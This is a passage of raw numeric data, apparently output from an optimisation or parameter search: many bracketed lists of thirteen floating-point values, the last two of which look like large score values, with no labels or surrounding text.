9.081976758127089e-10, 195239394048.3779, 101879284463.33914]\n\n[-8.372413642600907e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.88885, 102270797763.39908]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.937673308636816e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.4703687041471573e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.087619653117874e-10, 171732970643.1874, 106305215455.77405]\n\n[-8.304227478096081e-10, -1.500986356346536e-12, -1.9531413192683389e-13, 4.7704075824842225e-11, -1.8975666267494283e-10, -1.9099300746589145e-15, 8.757096667187756e-16, 2.7122228639393258e-05, -1.809239966469619e-06, -1.8203397437532012e-08, 8.935114691513575e-10, 166731944707.48343, 109962566902.69849]\n\n[-2.0926038768787875e-10, -1.3235354562894133e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.5027518840822802e-10, -1.9355556139972827e-15, 8.69779310515605e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.113315958572542e-10, 198705325524.15018, 111850971687.16727]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.858844276736905e-11, -1.5027518840822802e-10, -1.9257301298903336e-15, 8.765174154706532e-16, 2.507247127369048e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.134614417430693e-10, 152877011534.3794, 128488226222.4665]\n\n[-8.325113652893972e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8226533446456543e-15, 8.718221314640016e-16, 2.471871023322042e-05, -1.788813296914756e-06, -1.836034443165441e-08, 9.148927620445716e-10, 115664967416.85544, 172987399752.44284]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, 98829512345.71223]\n\n[-8.372802930516975e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.765346456450067e-16, 2.4957985197946978e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 191606485390.66824, 100937635343.36494]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11142, 101220474756.5564]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, 4.852404641399239e-11, -1.4730851235460287e-10, -1.8195538935082505e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 189380748451.24603, 101440046940.62292]\n\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15, 8.688144408462996e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.52283, 101479475091.5385]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 186125019263.05353, 101522685052.87083]\n\n[-8.372413642600907e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.826770959894538e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.675713932751666e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 176424094355.21158, 102059630396.96977]\n\n[-8.32774857282967e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.475667375214216e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.4703687041471573e-05, -1.7921694947468313e-06, -1.836034443165441e-08, 9.080472327376693e-10, 190619161162.84558, 102134941196.42899]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13, 4.835930442286039e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.89273, 102270797763.3992]\n\n[-8.372413642600907e-10, -1.3359785407261977e-12, -1.9482957217087468e-13, 4.831070029448083e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.688144408462996e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.89435, 102270797763.39929]\n\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4446129047664535e-10, -1.8304219886094965e-15, 8.765174154706532e-16, 2.4857867004975476e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 191644867011.30374, 102518032445.5969]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13, 4.82400894161232e-11, -1.4446129047664535e-10, -1.8228595048374295e-15, 8.751158883884222e-16, 2.506841119647095e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 172947032775.99432, 102577021916.3392]\n\n[-2.103367158359051e-10, -1.3359785407261977e-12, -1.9376482536341035e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.4703687041471573e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.087619653117874e-10, 171732970643.1874, 106305215455.77405]\n\n[-8.372413642600907e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8161784527844478e-08, 9.087619653117874e-10, 144963603428.97382, 112061347287.60056]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.5026084747023036e-05, -1.7900208911755532e-06, -1.830053261436748e-08, 9.087619653117874e-10, 125853468889.92097, 136457449593.06062]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.937673308636816e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.4703687041471573e-05, -1.776082515662521e-06, -1.836034443165441e-08, 9.087619653117874e-10, 126137991779.33096, 160562679389.67618]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, 98829512345.71223]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 186222924740.70007, 100125948657.42978]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, 4.855683396544643e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.83613368865103e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 183895104728.34744, 101215117638.35565]\n\n[-2.0926038768787875e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11142, 101220474756.5564]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11664, 101220474756.55742]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, 4.852404641399239e-11, -1.476291648179518e-10, -1.8195538935082505e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 189380748451.4617, 101440046940.6675]\n\n[-2.0969974314689316e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.52283, 101479475091.5385]\n\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.8730627003901226e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.58997, 101479475091.5439]\n\n[-2.0926038768787875e-10, -1.6370065196284276e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4663924630161214e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.5149586855224063e-05, -1.8040587516026417e-06, -1.830053261436748e-08, 9.081976758127089e-10, 174674218067.03134, 101707557509.25955]\n\n[-2.0780704759852712e-10, -1.3359785407261977e-12, -1.928247479392491e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.815489945689696e-16, 2.492800478197597e-05, -1.799557982850986e-06, -1.830053261436748e-08, 9.081976758127089e-10, 177564736843.2668, 101910116331.42278]\n\n[-2.0926038768787875e-10, -1.3481496678499343e-12, -1.9612804716494087e-13, 4.869384519400452e-11, -1.4625361988654996e-10, -1.816149350524488e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.087619653117874e-10, 176677319245.07892, 101942928295.47075]\n\n[-8.324503936172223e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4535167828811644e-10, -1.799249889019179e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.063398319687734e-10, 161710635101.41095, 104790698646.6004]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.8168585276282465e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.102513898455556e-10, 160649925757.17908, 106424978687.80653]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.765174154706532e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.067222192179334e-10, 157509126624.7564, 106648081137.30634]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.924272863609467e-13, 4.87567764690249e-11, -1.473869541008466e-10, -1.8210829282495652e-15, 8.797810044472039e-16, 2.5128697145423343e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.089655956213592e-10, 156027014786.34595, 106784848298.00577]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8130493256774034e-15, 8.758120054489215e-16, 2.489589641570383e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.120599461707459e-10, 159857940983.01962, 106918161793.97298]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9347415380665696e-13, 4.85631967683728e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.836417410231251e-08, 9.134390375783151e-10, 142628527511.76648, 117274357359.96004]\n\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9567576322418712e-13, 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15, 8.688144408462996e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.120365536291957e-10, 136801158565.52109, 118996909122.33968]\n\n[-2.0926038768787875e-10, -1.3468298773490566e-12, -1.924272863609467e-13, 4.852404641399239e-11, -1.4730851235460287e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.13148553316506e-10, 131221998343.07083, 125656067768.88814]\n\n[-8.372802930516975e-10, -1.6610460978653825e-12, -1.9391155389121011e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.765346456450067e-16, 2.500200335107093e-05, -1.777109321965829e-06, -1.836034443165441e-08, 9.081976758127089e-10, 107442969837.9951, 191438895729.71088]\n\n[-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.705169785374419e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, 98829512345.71223]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4659424506650604e-10, -1.7864100157215748e-15, 8.706272486016714e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 185690352687.11697, 99223644222.007]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.839563844754409e-16, 2.4957985197946978e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 186222924740.70007, 100125948657.42978]\n\n[-8.29844666406642e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.849645416672899e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.714032924475303e-16, 2.492800478197597e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 190148608462.3534, 100180028793.61896]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06, -1.850709631603352e-08, 9.087619653117874e-10, 199924589208.46686, 100223589650.82378]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9654069739659012e-13, 4.855683396544643e-11, -1.461461940090847e-10, -1.803543054789903e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 178626169889.2221, 100558408593.70113]\n\n[-8.332310924150067e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.8877585360256924e-11, -1.4675478300173032e-10, -1.8130493256774034e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 193351738763.71564, 100949387586.23102]\n\n[-8.372802930516975e-10, -1.343853363763315e-12, -1.9192642832280474e-13, 4.852404641399239e-11, -1.446871529700577e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 197397120636.1133, 101220474756.86967]\n\n[-2.081071620571536e-10, -1.3430194729908366e-12, -1.9531413192683389e-13, 4.8687777307168814e-11, -1.432701673757514e-10, -1.8195538935082505e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 189380748448.52612, 101440046940.05927]\n\n[-8.372802930516975e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.815921924023075e-15, 8.834544584685654e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 198690577754.9655, 101467426817.57397]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, 4.8327983670281894e-11, -1.4675478300173032e-10, -1.8258864221284576e-15, 8.83613368865103e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8304452912365864e-08, 9.081976758127089e-10, 193392923341.53983, 101900620617.14302]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9719420123154376e-13, 4.861133464689211e-11, -1.483232636118454e-10, -1.8195538935082505e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.7966453439138136e-06, -1.836034443165441e-08, 9.087619653117874e-10, 174954502194.04602, 103131734300.077]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.814072294943091e-11, -1.437983579446461e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.107645094765291e-10, 171249412831.2997, 103180541968.40872]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.476291648179518e-10, -1.7906363569860738e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8221372696029056e-08, 9.081976758127089e-10, 154981149327.29538, 103805616436.34537]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.855683396544643e-11, -1.432701673757514e-10, -1.825643030416898e-15, 8.83613368865103e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.81828896229741e-08, 9.081976758127089e-10, 158250536108.31226, 106843736334.12831]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9439448414369486e-13, 4.855683396544643e-11, -1.4675478300173032e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.5187119035976227e-05, -1.797858272312416e-06, -1.836034443165441e-08, 9.087619653117874e-10, 148433419780.93826, 110030788135.34956]\n\n[-8.372802930516975e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.799249889019179e-15, 8.765174154706532e-16, 2.4802576523291093e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.087619653117874e-10, 152744383578.88885, 111006224451.55664]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.83613368865103e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8140174569754755e-08, 9.081976758127089e-10, 140660582328.68314, 113087422800.04585]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.081976758127089e-10, 148227079557.4723, 115101067854.69138]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.830053261436748e-08, 9.081976758127089e-10, 129686832886.01216, 126984206927.84627]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.4592095499147362e-10, -1.7864100157215748e-15, 8.706272486016714e-16, 2.5177177276929545e-05, -1.7997194394724915e-06, -1.850709631603352e-08, 9.087619653117874e-10, 188127979624.47858, 98138013390.26245]\n\n[-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.8139505305916955e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.783887938075847e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.45816, 98829512345.71414]\n\n[-8.379785124926609e-10, -1.3292316984383345e-12, -1.955394873972143e-13, 4.852404641399239e-11, -1.4779126633130978e-10, -1.799249889019179e-15, 8.775397316555329e-16, 2.5049204386853816e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 183972070969.05157, 98891303611.42876]\n\n[-8.373750609204521e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.4659424506650604e-10, -1.7864100157215748e-15, 8.706272486016714e-16, 2.492800478197597e-05, -1.7997194394724915e-06, -1.836034443165441e-08, 9.087619653117874e-10, 176341783374.723, 99638222233.03885]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4696825367906723e-10, -1.799249889019179e-15, 8.705169785374419e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 187303786818.71506, 99962477826.90034]\n\n[-8.29844666406642e-10, -1.3259182588069894e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.839563844754409e-16, 2.492800478197597e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 190148608462.3526, 100180028793.6191]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.839563844754409e-16, 2.4907384876305387e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 192885903228.52237, 100290100926.3771]\n\n[-8.372802930516975e-10, -1.340114474894997e-12, -1.9475632661250835e-13, 4.852404641399239e-11, -1.4659424506650604e-10, -1.803543054789903e-15, 8.839563844754409e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 193159834117.98853, 100447140164.3877]\n\n[-8.45347775440883e-10, -1.3359785407261977e-12, -1.9409478257397567e-13, 4.852404641399239e-11, -1.463585775827913e-10, -1.812045689500589e-15, 8.706272486016714e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 192907161589.0385, 100872818268.9527]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8130493256774034e-15, 8.705169785374419e-16, 2.4957985197946978e-05, -1.7997194394724915e-06, -1.836034443165441e-08, 9.087619653117874e-10, 183710210581.81177, 101076246798.6337]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.542150809952725e-05, -1.7997194394724915e-06, -1.850709631603352e-08, 9.087619653117874e-10, 168715457724.7375, 101683114493.3993]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.849645416672899e-11, -1.432701673757514e-10, -1.803543054789903e-15, 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06, -1.836034443165441e-08, 9.087619653117874e-10, 153789626574.96255, 105699410466.83022]\n\n[-8.372802930516975e-10, -1.3398025228100945e-12, -1.9531413192683389e-13, 4.855683396544643e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.714032924475303e-16, 2.4957985197946978e-05, -1.793948394990656e-06, -1.836034443165441e-08, 9.081976758127089e-10, 159560429502.34207, 105861289429.36061]\n\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.7864100157215748e-15, 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06, -1.836034443165441e-08, 9.087619653117874e-10, 147461834890.53723, 106068644665.40553]\n\n[-8.372802930516975e-10, -1.3292316984383345e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4760843266911815e-10, -1.7864100157215748e-15, 8.706272486016714e-16, 2.492800478197597e-05, -1.7933608637070708e-06, -1.836034443165441e-08, 9.087979750822277e-10, 147793960453.4741, 109638154986.2024]\n\n[-8.29844666406642e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.8434260838579935e-11, -1.4561659265574012e-10, -1.819718397269023e-15, 8.775397316555329e-16, 2.4948775411850268e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.081976758127089e-10, 150492287670.62976, 114344342719.97507]\n\n[-8.406587076953522e-10, -1.318355348076889e-12, -1.9519777560623135e-13, 4.855683396544643e-11, -1.4760843266911815e-10, -1.815921924023075e-15, 8.839563844754409e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.081976758127089e-10, 148227079557.78632, 115101067854.31332]\n\n[-8.389236670603421e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.717072130867646e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.087619653117874e-10, 137339476236.27339, 120797794814.05704]\n\n[-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.705169785374419e-16, 2.492800478197597e-05, -1.786297491730252e-06, -1.836034443165441e-08, 9.087619653117874e-10, 128365631923.39072, 133721716481.47603]\n\n[-8.361552586353477e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.705169785374419e-16, 2.483403849637781e-05, -1.783565701728919e-06, -1.836034443165441e-08, 9.095300241628919e-10, 123047993752.2489, 147005409641.27127]\n\n[-9.129396902499863e-10, -1.290047843436073e-12, -2.702634930634393e-13, 4.58556551164694e-11, -1.8724359625458014e-10, -2.1792166675464865e-15, 9.365717147446797e-16, 1.8994698205972217e-05, -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10, 169675879824.58978, 156722470654.13324]\n\n[6.303262263534727e-10, -1.2096663849982051e-12, -2.5988950272728827e-13, 4.701662665204773e-11, -1.4934765549498044e-10, -2.0495920936053975e-15, 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10, 108072398467.48868, 167972224844.19583]\n\n[6.303262263534727e-10, -1.2096663849982051e-12, -2.5988950272728827e-13, 4.701662665204773e-11, -1.4986345441105813e-10, -2.0495920936053975e-15, 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10, 108072398467.75635, 167972224843.92523]\n\n[-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15, 9.365717147446797e-16, 1.9540146753875297e-05, -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.03189, 192873830899.82352]\n\n[6.303262263534727e-10, -1.290047843436073e-12, -2.5988950272728827e-13, 4.58556551164694e-11, -1.4986345441105813e-10, -2.1913589342035502e-15, 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10, 164354464752.25952, 160840990423.46024]\n\n[6.354744988103506e-10, -1.2096663849982051e-12, -1.830526663998671e-13, 4.6589669053151376e-11, -1.4986345441105813e-10, -2.0495920936053975e-15, 8.502785255135087e-16, 1.894858193847651e-05, -1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10, 96467208837.94556, 179586543004.98117]\n\n[-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, 4.58556551164694e-11, -1.8580228849463816e-10, -2.1913589342035502e-15, 9.365717147446797e-16, 1.9540146753875297e-05, -1.8218396850604304e-06, -1.3360134446642706e-08, 8.759216763039946e-10, 117765020064.66293, 187118262382.8758]\n\n[-9.129396902499863e-10, -1.3004166005044262e-12, -1.8356995493902235e-13, 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15, 9.365717147446797e-16, 1.962681376929987e-05, -1.8050933870374392e-06, -1.3418860642065019e-08, 8.693561802236366e-10, 122674650037.46736, 187415567631.77402]\n\n[-9.212545260772544e-10, -1.2799153483071088e-12, -1.8213920664100724e-13, 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15, 9.365717147446797e-16, 1.9540146753875297e-05, -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.03189, 192873830899.82352]\n\n[-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, 4.6154548476823616e-11, -1.8724359625458014e-10, -2.1913589342035502e-15, 9.358479354640953e-16, 1.9540146753875297e-05, -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.02731, 192873830899.82806]\n\n[2.2152115305769157e-10, -1.6907719215642795e-12, -2.5108769063589337e-13, 4.9793760275117476e-11, -2.0780774158604122e-10, -2.1593626664102876e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.77876424822685e-10, 170388218306.66492, 168925348515.4128]\n\n[2.2152115305769157e-10, -1.6907719215642795e-12, -2.1051647732787472e-13, 4.9793760275117476e-11, -2.0780774158604122e-10, -2.1790706433018085e-15, 